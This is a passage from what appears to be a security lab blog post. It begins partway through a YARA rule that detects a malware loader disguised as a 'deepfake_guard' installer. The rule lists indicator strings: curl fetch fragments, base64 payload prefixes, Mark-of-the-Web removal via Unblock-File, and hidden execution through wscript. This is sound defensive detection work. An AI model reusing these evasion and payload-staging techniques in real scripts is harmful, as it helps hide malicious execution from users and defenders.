        score       = 100
        reference   = "Static analysis of verify_m and verify_w"
        tlp         = "TLP:CLEAR"
    strings:
        // -------------------
        // Telemetry artifacts
        // -------------------
        $ep1 = "guard-launcher-result" ascii
        $ep2 = "guard-install-log" ascii
        $ep3 = "guard-install-progress" ascii
        $hdr = "X-Guard-Platform" ascii
        // --------------- //
        // Kit identifiers
        // --------------- //
        $nm1 = "deepfake_guard.launcher.status" ascii
        $nm2 = "deepfake_guard_work" ascii
        $nm3 = "deepfake_guard.lock.d" ascii
        $nm4 = "deepfake_guard_run.sh" ascii
        $nm5 = "deepfake_guard.worker.lock" ascii
        $nm6 = "=== deepfake_guard install started ===" ascii
        // ----------------- //
        // Node.js artifacts
        // ----------------- //
        $js1 = "install_guard.js" ascii
        $js2 = "install_guard_alt.js" ascii
        $nd1 = "node-v20.18.1" ascii
        $nd2 = "GUARD_STORE_FALLBACK" ascii
        $nd3 = "GUARD_LOG_UPLOAD_URL" ascii
       // ------------------------------------------ //
        // Environment variables and execution states
        // ------------------------------------------ //
        $env1 = "NVDG_INSTALLER_DIR" ascii
        $env2 = "NVDG_LAUNCHER" ascii
        $env3 = "NVDG_DETACHED" ascii
        $env4 = "NVDG_HIDDEN" ascii
        $env5 = "NVDG_SELF" ascii
        $st1 = "payload_ready" ascii
        $st2 = "decode_failed" ascii
        $st3 = "payload_failed" ascii
        $st4 = "worker_timeout" ascii
        // ----------------------------------------------- //
        // Linux and macOS specific artifacts and commands
        // ----------------------------------------------- //
        $lx1 = "/var/tmp/.kdm." ascii
        $lx2 = "ANE compute driver sync" ascii
        $lx3 = "base64 -D 2>/dev/null || base64 -d" ascii
        $lx4 = "/var/tmp/upd_m" ascii
        $lx5 = "upda_m" ascii
        $lx6 = "nohup bash \"$0\"" ascii
        // --------------------------------------- //
        // Windows specific artifacts and commands
        // --------------------------------------- //
        $wn1 = "~kdm_" ascii
        $wn2 = "~nvdg_worker.vbs" ascii
        $wn3 = "NVIDIA kernel module staging helper" ascii
        $wn4 = ":Zone.Identifier" ascii nocase
        $wn5 = "Unblock-File" ascii nocase
        $wn6 = "upd_w.cmd" ascii
        $wn7 = "upda_w.cmd" ascii
        $wn8 = "set NVDG_HIDDEN=1" ascii
        $wn9 = "wscript //B" ascii nocase
        // ------------------------------------ //
        // cURL specific artifacts and commands
        // ------------------------------------ //
        $cu1 = "curl -sk -X POST -H \"Content-Type" ascii
        $cu2 = "curl -kfsSL --http1.1 -C -" ascii
        $cu3 = "--retry-all-errors" ascii
        // --------------------------------------- //
        // Base64 assembly and decoding structures
        // --------------------------------------- //
        // Base64 for "#!/bin/bash\n\nGUARD_DIR=\""
        $b64_lx = "IyEvYmluL2Jhc2gKCkdVQVJEX0RJUj0i" ascii
        // Base64 for "@echo off\r\n\r\nsetlocal EnableDelayedExpansion"
        $b64_wn = "QGVjaG8gb2ZmDQoNCnNldGxvY2FsIEVuYWJsZURlbGF5ZWRFeHBhbnNpb24N" ascii
        $b64_dg  = "deepfake_guard" base64
        $b64_gs  = "gamsterb.ink" base64
        $b64_ijs = "install_guard.js" base64
        // --------------------------------------- //
        // Base64 assembly and decoding structures
        // --------------------------------------- //
        $re_blob_lx = /\n_[0-9a-f]{6}="\$\{_[0-9a-f]{6}\}[A-Za-z0-9+\/=]{60,}"/
        $re_blob_wn = /\n>>"%_[0-9a-f]{6}%" echo [A-Za-z0-9+\/=]{40,}\r?\n/
        $dc_wn1 = "[Convert]::FromBase64String" ascii nocase
        $dc_wn2 = "WriteAllBytes" ascii nocase
        $dc_wn3 = "ReadAllText" ascii nocase
        // Base64 for "#!/bin/bash"
        $b64_sh  = "IyEvYmluL2Jhc2g" ascii
        // Base64 for "@echo off"
        $b64_bat = "QGVjaG8gb2Zm" ascii
    condition:
        filesize < 500KB and
        (
            // 1. TELEMETRY
            // Detects the loader's HTTP telemetry mechanism. Requires the platform identification header and at least two known telemetry endpoints.
            (
                $hdr and
                2 of ($ep*)
            )
            // 2. KIT IDENTIFIERS
            // Detects the loader using NVDG_ environment variables, Node.js scripts, and unique file naming conventions.
            or
            (
                2 of ($nm*) and
                1 of ($js*) and
                2 of ($env*)
            )
            // 3. PORTABLE NODE.JS
            // Detects the Node.js installation mechanism using a specific portable version, config scripts, and cURL commands.
            or
            (
                $nd1 and
                2 of ($nd2, $nd3, $js1, $js2) and
                1 of ($cu*)
            )
            // 4. LAUNCHER STATES
            // Detects launcher-worker communication via execution states, NVDG_ variables, Node.js scripts, and cURL commands.
            or
            (
                3 of ($st*) and
                2 of ($env*) and
                1 of ($js*) and
                1 of ($cu*)
            )
            // 5. LINUX / macOS LAUNCHER
            // Detects the Bash launcher using temporary files, Base64 decoding, background commands, and kit identifiers.
            or
            (
                2 of ($lx*) and
                1 of ($nm*, $js*, $env*)
            )
            // 6. WINDOWS LAUNCHER
            // Detects the Batch launcher using temporary files, worker scripts, Windows indicators, and kit identifiers.
            or
            (
                2 of ($wn*) and
                1 of ($nm*, $js*, $env*)
            )
            // 7. WINDOWS MOTW REMOVAL AND HIDDEN EXECUTION
            // Detects Windows Mark-of-the-Web removal and hidden worker execution via PowerShell, WScript, and NVDG_ variables.
            or
            (
                $wn4 and
                $wn5 and
                $wn9 and
                1 of ($env*)
            )
            // 8. EMBEDDED BASE64 PAYLOAD PREFIX
            // Detects embedded stage 2 payloads via Bash/Batch Base64 prefixes, execution states, NVDG_ variables, or cURL commands.
            or
            (
                1 of ($b64_lx, $b64_wn) and
                (
                    1 of ($st*) or
                    1 of ($env*) or
                    1 of ($cu*)
                )
            )
            // 9. EMBEDDED BASE64 CONTENT
            // Detects encoded payload strings using Base64 identifiers combined with execution states or NVDG_ variables.
            or
            (
                2 of ($b64_dg, $b64_gs, $b64_ijs) and
                1 of ($env*, $st*)
            )
            // 10. LINUX / macOS BASE64 ASSEMBLY
            // Detects Bash payload assembly via Base64 block concatenation, Linux/macOS decoding commands, and script prefixes.
            or
            (
                #re_blob_lx > 20 and
                $lx3 and
                $b64_sh
            )
            // 11. WINDOWS BASE64 ASSEMBLY
            // Detects Windows payload assembly via Base64 block writes, PowerShell decoding APIs, and Batch script prefixes.
            or
            (
                #re_blob_wn > 20 and
                all of ($dc_wn*) and
                $b64_bat
            )
        )
}
Tags :

Partager sur

[juiz_sps buttons="facebook, twitter, linkedin, mail"]
À propos de l'auteur
mm
Stormshield Customer Security Lab
Derniers articles

Voir tous les articles de Billets techniques

En savoir plus